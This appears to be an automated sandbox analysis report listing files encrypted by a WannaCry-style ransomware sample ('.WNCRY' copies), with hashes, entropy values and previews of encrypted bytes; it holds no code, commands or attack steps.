                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):297144
                                                                                                                                                                              Entropy (8bit):7.999368770693903
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:QVuWAW5AT8h5EXK75yKZ4zzGv8/NH5/ZWGBL82LadSNdckOBx+:oAW5ATmE6I0o0gL82LadmcDB4
                                                                                                                                                                              MD5:2AD2B1EE30C4358D3CBD414CA8314654
                                                                                                                                                                              SHA1:CB6B2C617BC090A40573342B03143EB1480C5923
                                                                                                                                                                              SHA-256:10CFAC992E9055824157069B89EF4D0728FEE518EA357C801A757D150BE8942F
                                                                                                                                                                              SHA-512:A5896D87C72FF65A966EBD580273497B49C66AB325D13F51F78765DC059AAD81780A164050C5DF59CF03824227E2DE375A60901DCB7C5EE75847B7DEA71B420C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......m6C.}.u....S..t.p.Na.Y.<.j%.-]...+.T....R..|p<.D.1......]|.....\....k.U..2...0b.....F..a/]{;..:.y.A.....`.:.N.....%%..+.*a.k....#a...;G.......0..6.Fy.K.Ak.>..........v..+....+...9+..a.."..f.C.)d....<.8_I..S.Q..P.FN.-.<4.Z.....x...+..]...............fv...[...2.S..o..}o.....i.M..Y..{X.+...Xe_^$.d.29."....P......s]Y.>.....N.....r>5j._<./..4....N8.1.,7.Vg......h..Z....%. ....J.u...j.....A.............+.X.y.1.T..G....:...xj..@mcDcW.E..:...}.....5.s.s.I.6.........k..5.L.x.........^U..c.".......x.|...|.G(..2!0a.i..)..j+......d.z.N.Ot.qJ4/#.F..*....&1.2...|....u..d...xq..`..-|..@..6.T.F.$.}aeQ..;.2T4..C "...j..W..K!..8]A.&.../........5..^...y....l.fA../..T~....S..L.K.-p..P., ...W.o..CC...>.mn.~....u...V.3......TK&.....=.....PN.X6.!..............%......!y#.._K..s.dt...Z:5M,.6.rVS.A..._..M.q.Mv..KE...O.Kq.....TE".A......<..?.J.l....;.<)`..ZMM...j1.w.K.......Q..Z.I.H.#.o...2.....FA.......qw.v.../.IFE...A]....U.v.`.o.<9.2E./.;..

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.847716674229477
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksh4RXHG+YWzqxv8jGe3+acnPAf0uL0DlExEuKp5IWbAoW37QH2ln:bksakJIZ3+fPu0um2EuKplTW37QH2ln
                                                                                                                                                                              MD5:BC0BDF2663B99152A31401BE781D1DFD
                                                                                                                                                                              SHA1:735655ABB54D330E8D36B448812451F732242A9C
                                                                                                                                                                              SHA-256:4235BB4BD87C632D50220C4745F7BC86943BD344BAF4FCD9DBEB4CA332CBDA32
                                                                                                                                                                              SHA-512:FA7F4D8026B4C407F65BD8344D532DBABB600EFE5D23B5792A1D1020E3CE7D2B0086EE44103830073BD9B54B6BA299BC6AA420CB4444E9D6B650348E05AEE587
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L..-... 6....E.K.........J.@7#p|(..r.............}...?3$.6...~E..7j;.*....&({....V..=..Rdf.{...!...@9.....-*.."..=..9....$...+.h..3.U..-..R.u.k.s.^h2..w......!1.......~W..h...^..7.#.....g...S..w....q........F....?.........s..=.[.x.......J....(............{.`..7hE?Rj.....0c.h...J...B2.D4..d.D\.aP/..m5ui.~hSIR.WQ1.w..+....\L......Hd|h..h......Z.|...O.x...jZ.......J..m<.&Q:..Zj|h.....N.p..".2.&.f.P?n.3m.O.uS.a..C...8.:Z....k......)..ty.>........QC..c}. e<..q..U.!eS..GE..z}c...F.!.U9..{....ze.M....m...9..ilT......S....6.".........F3.[P.yi..).Ujs0]IF9.....`'..X..j...U.........8$G..?..g.va.s....0.....2{...dr......jj..HK,a.u...79....6..+%...m.d.w`.V.8..+....C.R.=.s.:........G.'.U.^....I..G#.[..S.z..".jN;.Ga.`...j%...P...u.GmS.Ba....9.A......Vl#...X...."u....1.[.70(kDW.,...?..V.c.b..ZH.ss,./Y.A..OY..S.8jr*'.y.T.......^..r#FK......}....q.(K.M.kIela.c.2.............&V....V...1.ST.../.(......g...A,U0R?......l.0.#.7...n...*).T....=n.......c

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D0A4FF55-37CF-46CD-9E40-1A82D5EEBDF6}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1352
                                                                                                                                                                              Entropy (8bit):7.851414557907344
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkPyJb6CuKBLsD2OsnrizKOMzeSZmHecT7sb1WS5fnVD1RTM5vldX:bkeb6mSD2RrizbdSgHTUb959D45vP
                                                                                                                                                                              MD5:DBFDF24E357CDB7ACEDDE8DC41524AE6
                                                                                                                                                                              SHA1:D8A56A1D05CCEE35F999365F7CAF8A465DC2A996
                                                                                                                                                                              SHA-256:28E987E9C8E0D901EF839AF8CFD78C20EB3FEB75D2FCA259896E45067F0032EC
                                                                                                                                                                              SHA-512:D2D659BE9F4D9C3FACE0E310712F4665997059046FC496343BB883C8DBDD632382479BD65E77EB434C7809BD1993BF894FC813AC8F70742617DD4A7B82969A1F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......_..."..&.s>.>T....c.2......0.-.t..f...|)S.....q.Oz..|.o;..GW.......G.c..3oq6.z[....X.<4...3h.BicCCk.R`+.............(.0.aw.F...<...Y..dh..]jN..;.Ts.3O.z....C.I.D...L!L..sD..Ym.;..f{t..Dn-....V...^t.G...Q..k.'.q.........\..|.F>.{,........SeYh....(.........q..j.n.:t?@n...&.I.#K.e.p).y.......^.f.q^..WX..a".|CB<(.j.@......o.E.L..x1..r.........{./...Y......."b.z..8.....6{...&....%..a((.1tl7..t.p....5..2.......p..G.\,....##t..U....$Z.....1.X..1[.Zk.rY.h.`.....$.....t....v..K...&.Q.Sw.....J.Tu.C.XJ.....5.XtD.LL.......n.;....I.............)D..$Jw..T-..}..'....4.v.......)F....,uM7*_=.+.eggj....g..q#+v.._.....@8....L2$.O...x{Ky7..(..z.h.U......._....v#k..PMw.Jd.F..%~W>f..x.7..t..?....0.@4..A.~S...%....`.klZ$.vw.a.P....Hs......g"#{.....%....`tF?2W&....\=Kr.c.T..(.R..U.{6..LL.f..cZ63...J..k....W^X..'.Y.."...`.s...._..P... ..o..*nU.{%.B.w*,B!..Q;.7.n.W.5[.....j.......f&...2..G .7.sT8..f;..3.....2.y..|.1G...eu.C.......M.t3F,m.........mh

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000002.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.870033970105981
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkADbrLwWQ4r6K6YkfM+TMX3rlenU2nOsqylu+hP7+hvD2ekEdM9KPLHIkQawmCg:bkA4WQ4uVk+AX3rlenznOPyluOz+hvDH
                                                                                                                                                                              MD5:C75B385BC5BCA958949577C07E5CB5D9
                                                                                                                                                                              SHA1:40AE682A91937CD02E65AB4DEDBB2AB30D762A9F
                                                                                                                                                                              SHA-256:29B939F92F7DCA0038D13240F9F2BB1F0C4CD70C4CC685C557B2E7CB5214C4B9
                                                                                                                                                                              SHA-512:A496F781F1DBDDCD3754A2F9BEC4510DE0BBB4F92461BDAF95AC32609B2690DA994873547DD6FCEDABE7D9708166BA31C0ECBA8F6FA2F7B507A0925531AA94D3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....~&.".A..Av...|q.`.......3.X.@,..E.n.3y.ZW..q...$f8;Dj5.'.".5.0.6......4U|..Ut`.c....0+.h..e.+.1.O.[............^.%...".5@.8..0.=.af....?4/.).R.6.=e.....h..w........Dl..Ei.una.....R..4....X.......F_..DaCLe....nDH.}Bb."....w..O.^P..Q5...m......m%..m...............3ud|....Z......f1b..{.;6SY.;.....L g...S..5....-I....O.%....MJJ[....C..2.0.Uj.[..J...h&.....^2.v..G=xl..~YV.2..U....I...:C...n..............1l......LS.....^cU......8,.o..)]L...<v..=....lX..K.[..![...]...%OkFL|..Q.?.......6..-~x.....hh.....x.. .?.y....!.....L?.6..HP.q..HgU.,..i..W....yW.xY...H2..*.Cb.8\.y..Ub....0..-.;..^*}..[..g.s!...j.7.K..k7.....c.>.....j.'..Yj..|.Y....o...A.8...U.h....r...?....V..k..em..0...,h.7.._....La9......S.t..\F`..Bi8.....n"...N"J(. ....M......1..M.....e!H.I.JN_.+c...Y|.Y..;.../.W.g..D.6`.1.RMD2....b.n.;cT..Ly..UG.b.....C..1.C..v..z..>..V.....|{..)W..%...z+....|v.@2.....n.PwXY~.G..y.[..)-.g>..B.8.'.u.U.K....\....L...&.iJ..Ex.....aqA..s.A.Q.+g..a.,f.......\

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{D80AA597-BE91-4112-BB6F-159038E46ED1}.2.ver0x0000000000000003.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.853203232478879
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkfBCj4vFCAY2tJd2ya2CzEF5WxuMJ6JTPwvHIabl8uC8KWCvoBAlpHXHO7L6oKN:bkfBI4tCJ2tUBzE8uMwabl8E3AlVOqN
                                                                                                                                                                              MD5:FB5C794D3F253962210E6CAE468AB40B
                                                                                                                                                                              SHA1:6D00381F0CE36EC64F2CB68F3D2542440545D74F
                                                                                                                                                                              SHA-256:CD3D8A10AABBEB16CAA65A0470B5009F1A1CDDCBD044AFEF384E49F056ACBEE9
                                                                                                                                                                              SHA-512:3B35FEB1B0EE4AA99481C593A728235E3BE92075ADCEF14D1A4BE5A457C98C8EB49C23ADDD3839A43B4D9E4290CB69EEA0ED9E2CC0FCF9A5E0304F72A0CE4AF2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........=.....F_M..N).I.>.i...<...AX.9..N.6.....*.Z....^.S.A..........T..v^Yx....)0I@u...... .......*..(/'.!!0F..)vJ...pu.......V...L...Gm...V..Z....?.k...`...c*.G.qs.....5g..z..@...G1p'...d.x..C.m.\..]..4.Y..|.i.r.~q...4..Gi....OG.......@................M...=0].6...% ......K92..L6U..gYo...V.Pa...=s.J?....".2I.w..|6..'..c....G".... ~.2-.i7!....."..6"r..c.7...W.D3........-.2...u....b.E.:.[p..UzZ.;v8.<.y...%..........i.W...uU{u{...iM..9...R....u...R...t.J..P1D..C......:...$r.'W.qS.m.q.....-2..?...%..=~O...f#i..w....6.|u15.4%.....`..*.....].v.....DFr......|0.....bNIz..!.w.PgF.F.=....?.x...!.c.v{..{!.%...w.3......f....m.....Z.!F...X.]q....&....o.4.n.(>...H..`Goiif..D.!%.-/h......8xh..].J......C...<....8P..^a1.v..iQ-.$..^..r.4.......s.K.)...bj6..~ ..!.^.jzoO....D.;..+.1..{.&T(..{....h.e..FW....../."...S...y...!5.U..`............x.5S.2_..d....sUY$..$.+,...>.%...9........p...h..l1o<....3...."n....k...u..P.....Y4.....U..jlB._.^..

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):638136
                                                                                                                                                                              Entropy (8bit):7.999697339008664
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:NQ42Os+gJwfjJdyow9WzQJzYEJW7I/z89YmFJU7AVKmAX03h/CD:a4ffzw9WzIDQiz427kBUCCD
                                                                                                                                                                              MD5:073C341C94A84AD905D1C117237FA83E
                                                                                                                                                                              SHA1:BED058526AE92C5F32D1A22B2644F37FCC0EF46F
                                                                                                                                                                              SHA-256:6164A3BBBC4B37D65963368AE09DDCAEAD7215026805B11BD4BD29590B8F4FA6
                                                                                                                                                                              SHA-512:18467360F7825B4377F450990FF4A0D8B97291EFA68B2A6C62CF00CEDAC18ACE3A240E93F0FA010C864FED94C2C33EAAEC2AB1831428C4EC42DC44280CA74F5D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....POy.2.d......f.....(&..mU......,.k.....&W*W.Q.G<1...?..|.........K...8.I.8.f.;'.7.....h..Br..U:...N...4U)....,9..Zf.p<jt..Z.[ ,w.M#..'.X..X?.A3H.b*;&...H...._O").6..a...[$..`.......z..._i..+.C..T.ja.`......6..U....I#.zn!9..C>.]YD./..... ..O...]!..............n^.Q.'..Y..n3|U&..`z....W..G.1..Ys..9}.....P19wm.wE.....x..t...Kb..@T_!$.W[.D..(1.U....R...-....w......C.JzH.dq..Z,.z.....S...V!sm+..C...#.....5Ag._."/@...a..._*5............>IB.....t'o1.cp.1...s7?/.h3..v7... ....P..|N...5..l.T..5..q.....b.t..U}..".....p......k.n..f....YE.W.3..JfC.?..B....'_.}....Q.+.....Yf.s.:..{-..).... .....P... t..P.a....,L+.5[.W.qr.{...u3......Hb......!v..(....Cp..L.y..!...`..-...[i.."...Fd,>........$..58d'y,....k.{7..kO{b...q...n..]."....F.|pv6.b..S).o.....EsHY........=......j.B..J....Q.1..p. ..s3.8.k...>..3'..h.Mdq`..A..sH7.P...-;pvV..r.H.......FR.=1..,C.._y.P..Ik..u...$...q....F.|.l.W..-..............m....M;."W:?Q..S.....@,.(8!.."1.h...C..uM._K...

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):443032
                                                                                                                                                                              Entropy (8bit):7.999611169701093
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:mhvONox/bRe5ctAjwzgZ+fRetQGiNBYNYVNy0zJq+TYLgHm+T7SvxU8d7ofXi7Eo:mJcu/oatAjZWMhS5PDzJqqTOvbVtEo
                                                                                                                                                                              MD5:0F0A72D7CFB547C653828F704E728FD1
                                                                                                                                                                              SHA1:6D457CCC7A36C6DC28F3E26C8DC98E8F344A19AC
                                                                                                                                                                              SHA-256:C3A8DF24F3E532330F6B74FE80AC88608F291D3E71CA2E77D5BEF87335E1229F
                                                                                                                                                                              SHA-512:964046747B5539B90986B7F164B7ECF496FEA8568530FEC2F8BF21C6AAC642E2305D02D98C86BDF93C65B32CECA4193B1CF5B6778603AD49D0C72EBC2C846437
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......3...-)..v |.R.L.. ..... :..'..............'...`..j.E#.7}S.G.i.G....p.B.f.....po.B..e....x.2.lYYu..yK.y..K^......P>.....=.E.X.6.h....,4.U......9S.sU8.d.....|.....Y..$ W. K.1A../G..k%....0.....K.:.....8~........2g.......Y..l.....r9..s........y.........9.D..'f.$:B......e.z+...?z.f.u..&y6{>.::.N{0...wKX...B.....f..%I.Xg.. ...[..0vr9....=....g.Y.lBGjXB.._e:..2.../....Y.....o..].s...H...^. o.;..\RK../....E;A]...z.R...^,#aZ......f....X...f.)>.p)Q...4....n.4......&.i.....r......)`.......'.n.R....H..:=!.[>..vv..@...fD......0..o......../.K....Z.+.S.ND......BO.8.-.o.........;N.Z/..>=jr......<z+.GT...MJ...xS.I....8..;.k.../..,....X...i#M.u.3.......I....Gz.7.)..^x..D.us&..i....N.GmY....t...W.S....~?y-)...f..P.`<...?K..)..........H.Z..%X..o...,.g....u.>O...AV&g.f.....,..xi..y~..G-...'....a.me.u. ..~.......-.....6:-.o..4.....OU..M..BnQP. 7)m.kds..9........Xrp..;...6l2.8&o.].....5!..N...e....G.s...)t.[{dQ....{>=X. .i=.f..E.[....

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1729112
                                                                                                                                                                              Entropy (8bit):7.9998788706787565
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:VgfrlkkiUDyGxscRY7DrzS4qrENBKLeSv5hrqG:Wr+CyudY7DrzS4q4zyeSvuG
                                                                                                                                                                              MD5:3AE20172189CFFCDB24E00F9AA15549F
                                                                                                                                                                              SHA1:F8CFCB611B68FE246547995E4593E81326CDAFA6
                                                                                                                                                                              SHA-256:03793299FC71978A5B664B0BB3AB87AA6171B9B280F090A9B5EA222CE1DB5F38
                                                                                                                                                                              SHA-512:0340433C94E74C111469E91E2BD5F2906B43BD943292522CA506E5773D9A85B2F4775B7D370D96D3A0584D4E391E01E8E656F0B2F3422806B0A694E46475B220
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......Wp....l....%.A.E...R'\..+.]....*..9..Yq"...&@Q.Ev......I. ....t?.j....-.ZO=:<\...o........v.............`..9.......x'..C1.#H6f4m....0$..9.........0..?...f5.....%.%.r.,oS.B.j.C.......4x...F T....R._.$.l..M....#.8...q..w...W..C..5`..W.Zy.p.".:.mq(......1a......G.h2.....LJ..'../.4.......A.Dp.........YeS.#;..7z...1wi.....s`q...F.....45.i.;.....?=1.pN.....x....y4.N*D.\.....p;...%r..&.B...Q...P"8....a.@.Y.sY..4..A.V.V........,f.k......K..q.+ .N....o.?.y....{.5.....%.M......J.F..5^....#[Y.c.E^o.......).....;......bc.>T....a..;...tA.[N..R]<vl..H..p......Id.Q.UIF..mQb..W.....j..mA.......KxW....x...A..t.....1.r./..\:5i...y&."...aMTY..p .!~...=.HZ..P.)}P{w.G...y...(....a"...k..4n.....K....sv..sY}..Z....+.T.9..J....w..U..k)a...y..bl.~........W!....NL..Mx....obq.B<...Xtx....xr.;?.w....;.;.FkEoh...:.:*1&'.......d.S.A..!.OR...8..fHu.7.d.7.d...=..,.M.!...=u..w.*...|5f...d....".i%..]x }Y].*..%(.....Hc.\.f.-7,ki.E.x..2.....Ql.........?.6[%.f{1B}

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\user.bmp.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.9997181710671885
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:n4Ch1PyurK0KTkrvOfec3H33AfjraCUhJRopkk03:nXh1Py50KTkUec3H33wjrGhwS3
                                                                                                                                                                              MD5:368CFCFB10131A96D424C87CE8BA104E
                                                                                                                                                                              SHA1:9707A21D0F0D27B26CBD2B9D0C816DFA50E4740B
                                                                                                                                                                              SHA-256:02C5ACBFB551C138847FB06394DA4CB60E11C1C933219F1931AEC1E5A2B171DA
                                                                                                                                                                              SHA-512:3F18871CDDDBB34E0A51237640DD1665C134DB564E59D70240E652C6222FF01850D956596D45975DFDC128797353D2A9F0AA55473C29A93B54BA5934A7425CB1
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....2.S..2..!..IuU...K.Z...1...t.v=/..O.#@....._k......T.W...8...=...e$o..0..b.(|v..#....%.....a~....0....{...;.I.Fc6.~*.9.;.........S.. ...[7...x.sE.n........_I.Bn...h...e...5s,..'.n7.prq.v.E....LZ..1z.A..f.w.../..y.c........u..L..L.P...B"....Kg....80......q=..u....#..G3.....9NB.\...q.....20...,.8.OX......)$...7..+t.>....pu......O>.b..l.X_...........s<...N.......W.v...[.?. ..8v;i...1eT.0zt......_.&..<..Z.hI..._x.,..^.5Y.CN0.w.+...{...g+.M.4...[..........Xa.........I.I...R.d.....O.x.q........#.(..)t....x...z..D..@.1..3...v......:l.{..8...d.J......y.*..Q.(......R.E.0...p....S.....QP|...P.-..O;...RK<D...o.0}..D..7'hB.V,.K..d...*n.t..y..=?.x...8...w..s,.9..u..}.+D{.V.<.!,. .Ic....kv.w.W0...GJ`: R.......H..}..>.D>..2...N.md=.k|.[F..f...g...CZ...Vm.'..."...3....m{.......U...*.9....Us......8=.'<..u2.5.....p.......=NL$.<.]=.6.w;...z>.*.zE....9.?..].VQ.......g.o.\..S.A)...zh..wx...#...[.....tU...{..S.*....~.f.>uO.RG

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\jones.bmp.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):602456
                                                                                                                                                                              Entropy (8bit):7.999689928638081
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:GmKUZohD42YNg7K65HQie5D7tdEFXVlcwgTPWHVMJy:G8ZuYqK69hehAV2wYOVAy
                                                                                                                                                                              MD5:0335356BD6D8A4FA7B5D77EDA81F3448
                                                                                                                                                                              SHA1:B2A0C9AC1531833BD55F92DD37C669F4E8F45172
                                                                                                                                                                              SHA-256:F1520F41CF600BCAC4799FAF976154D015A1090CE5D9C4369B4EE8BC9E5451BB
                                                                                                                                                                              SHA-512:ED97A8ED33139D1558A1C51C76A3D51743F671C2DD8A39F91DF9A9CC1E0351D1E7923DDE2C29722E687AE499CF0B972C5D18CFE59341B295890BA7FF348D1B0D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....".I.3.h4g7..../.....k .....TL@_...$.0...?..RVT..i.6.....Iz............w./._.T.>..D.=.~a.A..b,.../...^..A...JN..L.3=.j08...I.n6.:`..D....f..0"0.zA).9...>......8Tk.*I..?.F..?V.........(.6)Bg>..qN..9^..(..m...v.. .!mL...&.M.2KMq.F.}P..=.i*q]..:.....80......#..W...E...|K....b:2..jA.gr.#.BV.. ^Y*.Uq.R>..c...R:.........G....s..K...Q.E&j....].".N..."L^..!..P.".Y..i.....=&Pmc ...N.&s.......j.D...;.......F.G.l..O.X..vl ..D.,,PJ....-..[.......2...M4.{u...7.).l...z{....u..I....S.DIu......ES....5.[..\.!......N..t.$tJ.).sU.).2}}i......./=...D..g...Vb.`.C|.\{.U...:... w>.U...{*0.b-%.z...?.4.....Sj.h.p..\.\5.2GM...L.?.lA....Wk......+.S.l...i..I.OC...V..e...y.>]..G.M.].^8......T.OM(|...jr.._....L.....&G.....#p....j......08..(%.Y.?Z....T.....E.r...N.S.....qd.V...sh;.....p.[....-.O `....FCa$../l....#\L}.<..V......^.B.$....i.....#Y'....L...fI#..........C.E....g.>"...Dy.Z..../.G\.I~p)& ...c........$)...~h.[..h.'..@.....p......L..R.l.R......Qz.E.#.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\OTele\excel.exe.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.9913743253290495
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:TlTBTIb0mkclevGpj52cudCGIBz1X674ljJziEoce:jIb03L2j52cudFIPNlld2
                                                                                                                                                                              MD5:449334FF17F19B183F62E4AD9475E6B8
                                                                                                                                                                              SHA1:F7493CE50B3940A3C3676BFCED5E89F8F992A6CA
                                                                                                                                                                              SHA-256:6B6C6CEB9980BCD0D0CB5C4930C664F23EE315231BCDE2648EF7EFE553B3A27E
                                                                                                                                                                              SHA-512:44DF185A39E1D02A8E00777C49908B7717C2D0C26DCED7BCAEBA987DDD95F55C21BE23926E1A82268B45E60C12BCADABFDFAFB773540C5FE8D9BC2F6AE434DE4
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...... h...4.g...{....=d>.I..k..%(.4..R.....N.............{.~Ha4.....u.-...`D..V4...WgJ........<..6....9....st.9A.#c...3......3}.f...l...o.Zy..EA...:'M...NCO..8(..4..T.uK.g.p.8....J...91g<w.../..2..Q.c..)`.....rm|!...&..t&t....W".i...j.~.,...3......`......!7...#.*.RD.G.P6g1....v...d(N.j*...Y...A....U.-....D\.,.JP....4..8=m*_..v..U.I....$....<vf.p.].2<.....e.y..g...3.E.A.Tn.......,..#s..k..>..Tl.Y.&....|.S`Cqz.I..N"..K.h..<>\.N.,.=........8L.o.........p.....[...!...[~.....o*...Bb..-..D...w7fC.<MW.~E"........!;....I..e....|...0r.0..?..SV$F.>3..G.h..VG~.Z*.....J.....>......Z.6#..I...H....0=...$..J...#...{S../..l.M...97.Tz......8c.iSC7..b.z.*:.Vn?...yrS^.V......Y.....I.F.).....S.1).).|..x.w-.h.{....V..$....w.}.l..>.=..>t........w?...f'........w....a..$....QV .P......X,.:z...c...u...7.,`+..T...Pq.3..W...rB..o...\.TO.....3..y.p...J..}D#.*!.....x..-..7.2V 0.b.|......*..Q.'J^.....W.r;R.C)ww..e.&H.f'.kJ.. .....T.o...=......w..U.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\pingme.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):280
                                                                                                                                                                              Entropy (8bit):7.201918699230368
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE5XJDl3Rs4IU2Sh3gTwMPU9eDLTmvAdQavvKWKwy5:bkE5D3a4IULJgTlU9eDLTzdQCKWPy
                                                                                                                                                                              MD5:6D7EB62A61139680FCB9A45B42E2E299
                                                                                                                                                                              SHA1:57F45B4F4C11A4551DE3A33386AC51CC8F3E1DD9
                                                                                                                                                                              SHA-256:F6FF4F5C30AA13DBC77B0A47E44DAFE6BBEFEE1CB4FE1D668030804120CDA693
                                                                                                                                                                              SHA-512:918924EDF6B464E5EC0C893455458D66B02F76AD2342FE53144C2AF62C126FC8F43C81ED259274D819ADCB5F79734B55756160F174633BFB524C99C418F47FA4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1..H.g.h.`y.^.......%..&+..~V.I...z..W......X.+.....@.5..R.S.H..P.>#wF.9.(o. T.T.....6.[..(....[jS.).....Q..O..:...>..W$...0m2...[..qE.f2.?...._s...E.r....W.....=.....e...d@..E.g..7.p...F.._.j.b.o......I.....)wv..EFs~o.~:r/....|.i......%}............

